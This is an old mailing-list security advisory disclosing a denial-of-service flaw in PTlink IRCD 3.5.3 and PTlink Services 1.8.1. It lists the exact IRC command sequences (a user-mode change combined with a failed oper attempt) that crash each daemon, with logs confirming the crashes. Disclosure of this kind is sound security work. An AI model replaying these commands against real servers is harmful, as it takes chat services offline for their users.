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Vulnerablity in PTlink3.5.3ircd + PTlink.Services.1.8.1...
From: egocentric coder <wildcoyote_db () HOTMAIL COM>
Date: Sun, 26 Nov 2000 23:58:42 -0000

                      PTlink3.5.3 IRCD + PTlink.Services1.8.1
                                    Advisory
                          by wildcoyote [lms () ispgaya pt]

Hi!
I'm wildcoyote and i recently found a bug on the PTlink IRCD [3.5.3] + it's
services [1.8.1].
It is possible to kill the ircd and it's services...
To do so, you must:

[Crash Services] -

Connect to the irc server...
Then, do the following:
Issue a
/mode <your nick> +owgscfxeb
and a
/oper <oper nick> <something, doesnt really matter>
command!

This will cause the server to:

/mode <your nick> +owgscfxeb

[23:25] *** whocares sets mode: +wgsx

/oper <oper nick> <something, doesnt really matter>

-
Password Incorrect
-
[23:25] -freddy.userfriendly- Your attempt has been logged.
-
[23:26] -freddy.userfriendly- *** Notice -- Connection to
services.freddy.userfriendly[* () 192 168 0 3] activated.
-
[23:26] -freddy.userfriendly- *** Notice -- Lost connection to
services.freddy.userfriendly[192.168.0.3]:Broken pipe
-

[root () freddy wildcoyote]# ps aux | grep services
[root () freddy wildcoyote]#

[Crash ircD] -

Connect to the irc server...
Then, do the following:
Issue a
/oper <oper nick> <something, doesnt really matter>
and a
/mode <your nick> +owgscfxeb
command!

This will cause the server to:

[23:43] -NickServ- This nickname is registered and protected.  If it is your
-
[23:43] -NickServ- nick, type /NickServ IDENTIFY password.  Otherwise,
-
[23:43] -NickServ- please choose a different nick.
-
[23:43] -NickServ- If you do not change within one minute, your nick will be
changed.

/oper wildcoyote whocares
-
Password Incorrect
-
[23:43] -freddy.userfriendly- Your attempt has been logged.

/mode mynick +owgscfxeb
-
[23:44] *** Disconnected

[root () freddy wildcoyote]# ps aux | grep ircd
[root () freddy wildcoyote]#

And..that's it for today kids :]

Regardz,

Luis Miguel Silva
aka wildcoyote aka wC

http://www.unsecurity.org/ Member
http://www.lonoss.org/ Member
http://www.ispgaya.pt/ Student

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